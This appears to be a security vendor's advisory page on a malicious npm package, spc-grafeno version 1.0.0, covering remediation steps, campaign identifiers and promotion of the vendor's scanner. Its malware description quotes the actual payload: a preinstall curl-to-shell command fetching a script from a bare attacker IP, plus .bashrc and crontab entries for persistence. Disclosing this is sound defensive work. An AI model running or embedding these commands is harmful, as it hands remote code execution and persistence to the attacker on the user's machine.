Which versions of spc-grafeno are malicious?

The following npm versions of spc-grafeno are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate spc-grafeno if I installed it?

Remove spc-grafeno from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed spc-grafeno — how do I know if it already compromised me?

If spc-grafeno was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is spc-grafeno part of a known attack campaign?

Yes — spc-grafeno is associated with the IN-MAL-2026-019059 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find spc-grafeno across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for spc-grafeno (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging spc-grafeno across your stack and pipelines.

Malicious package

spc-grafenonpm

spc-grafeno is a confirmed malicious npm package (MAL-2026-15522) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall spc-grafeno

What this malware does

The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for spc-grafeno (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging spc-grafeno across your stack and pipelines.
If you installed it — respond
Remove spc-grafeno from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If spc-grafeno was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks spc-grafeno before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
